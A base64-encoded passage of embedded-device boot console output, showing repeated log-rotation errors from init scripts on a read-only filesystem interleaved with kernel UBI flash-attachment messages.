bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC4zLmd6Jzog
UmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5
c2N0bC4yLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzA4LXN5c2N0bC4xLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC4wLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQpnemlwOiBjYW4ndCBvcGVuICcvdmFyL2xvZy8vUzA4LXN5c2N0bC5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwOC1zeXNjdGwuZ3onOiBO
byBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5DQovZXRjL2luaXQuZC9yYzUuZC9TMDgtc3lzY3RsOiBs
aW5lIDQ6IGNhbid0IGNyZWF0ZSAvdmFyL2xvZy8vUzA4LXN5c2N0bDogUmVhZC1vbiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMjguZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMjcu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
MDktaG9zdG5hbWUuMjYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMjQuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUu
MjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMDktaG9zdG5hbWUuMjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCBy
ZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMjAuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5h
bWUuMTkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TMDktaG9zdG5hbWUuMTguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMTcuZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMTYuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9z
dG5hbWUuMTUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9TMDktaG9zdG5hbWUuMTQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMTMuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMTIuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDkt
aG9zdG5hbWUuMTEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMTAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuOS5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwOS1ob3N0bmFtZS44Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA5
LWhvc3RuYW1lLjcuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMDktaG9zdG5hbWUuNi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6
IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwOS1ob3N0bmFtZS41Lmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA5LWhvc3RuYW1lLjQuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDkt
aG9zdG5hbWUuMy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAn
L3Zhci9sb2cvL1MwOS1ob3N0bmFtZS4yLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA5LWhvc3RuYW1lLjEuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktaG9zdG5hbWUuMC5neic6
IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KZ3ppcDogY2FuJ3Qgb3BlbiAnL3Zhci9sb2cvL1MwOS1o
b3N0bmFtZS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zh
ci9sb2cvL1MwOS1ob3N0bmFtZS5neic6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkNCi9ldGMv
aW5pdC5kL3JjNS5kL1MwOS1ob3N0bmFtZTogbGluZSA0OiBjYW4ndCBjcmVhdGUgL3Zhci9sb2cv
L1MwOS1ob3N0bmFtZTogUmVhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
MDktcHJvZ3Jlc3NiYXIuMjguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCBy
ZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMjcuZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMjYuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDkt
cHJvZ3Jlc3NiYXIuMjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMjQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMjMuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJv
Z3Jlc3NiYXIuMjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMjAuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jl
c3NiYXIuMTkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMTguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMTcuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3Ni
YXIuMTYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TMDktcHJvZ3Jlc3NiYXIuMTUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMTQuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIu
MTMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMDktcHJvZ3Jlc3NiYXIuMTIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMTEuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMTAu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9T
MDktcHJvZ3Jlc3NiYXIuOS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJl
bmFtZSAnL3Zhci9sb2cvL1MwOS1wcm9ncmVzc2Jhci44Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA5LXByb2dyZXNzYmFyLjcuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJv
Z3Jlc3NiYXIuNi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAn
L3Zhci9sb2cvL1MwOS1wcm9ncmVzc2Jhci41Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA5LXByb2dyZXNzYmFyLjQuZ3onOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3Ni
YXIuMy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9s
b2cvL1MwOS1wcm9ncmVzc2Jhci4yLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzA5LXByb2dyZXNzYmFyLjEuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDktcHJvZ3Jlc3NiYXIuMC5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KZ3ppcDogY2FuJ3Qgb3BlbiAnL3Zhci9sb2cvL1Mw
OS1wcm9ncmVzc2Jhci5neic6IFJlYWQtb25bICAgIDMuNzU5MzY0XSBVQkk6IGF0dGEgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoaW5nIG10ZDQgdG8gdWJp
MQ0KbHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgWyAgICAzLjc2NDI5OF0gVUJJOiBw
aHlzaWNhbCBlcmFzZWJsb2NrIHNpemU6ICAgMjYyMTQ0IGJ5dGVzICgyICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1NiBLaUIpDQonL3Zhci9sb2cvL1MwOS1w
cm9ncmVzc2Jhci5neic6IE5bICAgIDMuNzczODAwXSBVQkk6IGxvZ2ljYWwgZXJhc2VibG9jayBz
aXplOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI1
Mzk1MiBieXRlcw0KbyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5DQovZXRjL2luWyAgICAzLjc4MTgy
MV0gVUJJOiBzbWFsbGVzdCBmbGFzaCBJL08gdW5pdDogICAgNDA5Ng0KaXQuZC9yYzUuZC9TMDkt
cHJvZ3Jlc3NiYXI6IGxpbmUgWyAgICAzLjc4OTM2Ml0gVUJJOiBWSUQgaGVhZGVyIG9mZnNldDog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0
MDk2IChhbGlnbmVkIDQwOTYpDQo0OiBjYW4ndCBjcmVhdGUgL3Zhci9sb2cvL1MwOS1wcm9bICAg
IDMuNzk4MTA5XSBVQkk6IGRhdGEgb2Zmc2V0OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDgxOTINCmdyZXNzYmFyOiBSZWFkLW9u
bHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTAtcGFydGl0aW9u
LXF0YXBwLjI4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC4yNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMC1wYXJ0aXRpb24tcXRhcHAuMjYuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTAt
cGFydGl0aW9uLXF0YXBwLjI1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC4yNC5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMC1wYXJ0aXRpb24tcXRh
cHAuMjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TMTAtcGFydGl0aW9uLXF0YXBwLjIyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC4yMS5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MxMC1wYXJ0
aXRpb24tcXRhcHAuMjAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMTAtcGFydGl0aW9uLXF0YXBwLjE5Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC4x
OC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1MxMC1wYXJ0aXRpb24tcXRhcHAuMTcuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBj
YW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTAtcGFydGl0aW9uLXF0YXBwLjE2Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlv
bi1xdGFwcC4xNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAn
L3Zhci9sb2cvL1MxMC1wYXJ0aXRpb24tcXRhcHAuMTQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTAtcGFydGl0aW9uLXF0YXBwLjEzLmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEw
LXBhcnRpdGlvbi1xdGFwcC4xMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0
IHJlbmFtZSAnL3Zhci9sb2cvL1MxMC1wYXJ0aXRpb24tcXRhcHAuMTEuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMTAtcGFydGl0aW9uLXF0
YXBwLjEwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC45Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC44Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRp
dGlvbi1xdGFwcC43Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC41Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEw
LXBhcnRpdGlvbi1xdGFwcC40Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC4zLmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFw
cC4yLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzEwLXBhcnRpdGlvbi1xdGFwcC4xLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlvbi1xdGFwcC4wLmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQpnemlwOiBjYW4ndCBvcGVuICcvdmFyL2xvZy8vUzEwLXBhcnRpdGlv
bi1xdGFwcC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zh
ci9sb2cvL1MxMC1wYXJ0aXRpb24tcXRhcHAuZ3onOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5
DQovZXRjL2luaXQuZC9yYzUuZC9TMTAtcGFydGl0aW9uLXF0YXBwOiBsaW5lIDQ6IGNhbid0IGNy
ZWF0ZSAvdmFyL2xvZy8vUzEwLXBhcnRpdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgaW9uLXF0YXBwOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCkphbiAgMSAw
MDowMDowMyBCVUkyNzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAgIDMuNzU5MzY0XSBVQkk6IGF0
dGFjaGluZyBtdGQ0IHRvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgdWJpMQ0KSmFuICAxIDAwOjAwOjAzIEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsg
ICAgMy43NjQyOThdIFVCSTogcGh5c2ljYWwgZXJhc2VibG8gICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGNrIHNpemU6ICAgMjYyMTQ0IGJ5dGVzICgyNTYgS2lC
KQ0KSmFuICAxIDAwOjAwOjAzIEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgMy43NzM4
MDBdIFVCSTogbG9naWNhbCBlcmFzZWJsb2MgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGsgc2l6ZTogICAgMjUzOTUyIGJ5dGVzDQpKYW4gIDEgMDA6MDA6MDMg
QlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICAzLjc4MTgyMV0gVUJJOiBzbWFsbGVzdCBm
bGFzaCBJLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTyB1
bml0OiAgICA0MDk2DQpKYW4gIDEgMDA6MDA6MDMgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDog
WyAgICAzLjc4OTM2Ml0gVUJJOiBWSUQgaGVhZGVyIG9mZnNldCAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgOiAgICAgICAgICA0MDk2IChhbGlnbmVkIDQwOTYp
DQpKYW4gIDEgMDA6MDA6MDMgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogWyAgICAzLjc5ODEw
OV0gVUJJOiBkYXRhIG9mZnNldDogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICA4MTkyDQpbICAgIDUuMDc1MjM0XSBVQkk6IG1heC4g
c2VxdWVuY2UgbnVtYmVyOiAgICAgICAzNzc3NzgNCkphbiAgMSAwMDowMDowNCBCVUkyNzAgdXNl
ci5ub3RpY2Uga2VybmVsOiBbICAgIDUuMDc1MjM0XSBVQkk6IG1heC4gc2VxdWVuY2UgbnVtICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiZXI6ICAgICAgIDM3
Nzc3OFsgICAgNS4wODY0NThdIFVCSTogYXR0YWNoZWQgbXRkNCB0byB1YmkxDQoNCkphbiAgMSAw
MDowMDowNCBCVUkyNzAgdXNlci5ub3RpY1sgICAgNS4wOTI3MjldIFVCSTogTVREIGRldmljZSBu
YW1lOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgImFwcGRhdGEiDQplIGtlcm5lbDogWyAgICA1LjA4NjQ1OF0gVUJJOiBhdHRbICAgIDUu
MTAwODQxXSBVQkk6IE1URCBkZXZpY2Ugc2l6ZTogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDgzNyBNaUINCmFjaGVkIG10ZDQgdG8gdWJp
MQ0KSmFuICAxIDAwOjAwOlsgICAgNS4xMDg2MzRdIFVCSTogbnVtYmVyIG9mIGdvb2QgUEVCczog
ICAgICAgIDMzNDQNCjA0IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgIFsgICAgNS4xMTYw
NzZdIFVCSTogbnVtYmVyIG9mIGJhZCBQRUJzOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgNA0KICA1LjA5MjcyOV0gVUJJOiBNVEQgZGV2aWNl
IG5hbWU6WyAgICA1LjEyMzU2NF0gVUJJOiBudW1iZXIgb2YgY29ycnVwdGVkIFBFQnM6ICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAwDQogICAgICAgICAg
ICAiYXBwZGF0YSINCkphbiAgMSAwMDpbICAgIDUuMTMwNzkyXSBVQkk6IG1heC4gYWxsb3dlZCB2
b2x1bWVzOiAgICAgICAxMjgNCjAwOjA0IEJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAg
NS4xMzgxNTZdIFVCSTogd2Vhci1sZXZlbGluZyB0aHJlc2hvbGQ6ICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNDA5Ng0KWyAgICA1LjEwMDg0MV0gVUJJ
OiBNVEQgZGV2aWNlIHNpWyAgICA1LjE0NTkwM10gVUJJOiBudW1iZXIgb2YgaW50ZXJuYWwgdm9s
dW1lczogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxDQp6
ZTogICAgICAgICAgICA4MzcgTWlCDQpKYW4gIDEgMDBbICAgIDUuMTUzMTM1XSBVQkk6IG51bWJl
ciBvZiB1c2VyIHZvbHVtZXM6ICAgICAxDQo6MDA6MDQgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5l
bDpbICAgIDUuMTYwNDM3XSBVQkk6IGF2YWlsYWJsZSBQRUJzOiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDANCiBbICAgIDUuMTA4NjM0
XSBVQkk6IG51bWJlciBvZiBnb1sgICAgNS4xNjc2MjhdIFVCSTogdG90YWwgbnVtYmVyIG9mIHJl
c2VydmVkIFBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBC
czogMzM0NA0Kb2QgUEVCczogICAgICAgIDMzNDQNCkphbiAgMSAwMDowWyAgICA1LjE3NTYzNF0g
VUJJOiBudW1iZXIgb2YgUEVCcyByZXNlcnZlZCBmb3IgYmFkIFBFQiBoYW5kbGluZzogMzMNCjA6
MDQgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDogW1sgICAgNS4xODQ1MThdIFVCSTogbWF4L21l
YW4gZXJhc2UgY291bnRlcjogMTc4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvMTEyDQogICAgNS4xMTYwNzZdIFVCSTogbnVtYmVyIG9mIGJhZCBbICAgIDUu
MTkxOTkyXSBVQkk6IGltYWdlIHNlcXVlbmNlIG51bWJlcjogIDEwOCAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNDI0NzIwMQ0KUEVCczogICAgICAgICA0DQpK
YW4gIDEgMDA6MDA6MDQgWyAgICA1LjE5OTczNV0gVUJJOiBiYWNrZ3JvdW5kIHRocmVhZCAidWJp
X2JndDFkIiBzdGFydGVkLCBQSUQgOCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgNjENCkJVSTI3MCB1c2VyLm5vdGljZSBrZXJuZWw6IFsgICAgNS4xMjM1NjRd
IFVCSTogbnVtYmVyIG9mIGNvcnJ1cHRlZCBQRUJzOiAgIDANCkphbiAgMSAwMDowMDowNCBCVUky
NzAgdXNlci5ub3RpY2Uga2VybmVsOiBbICAgIDUuMTMwNzkyXSBVQkk6IG1heC4gYWxsb3dlZCB2
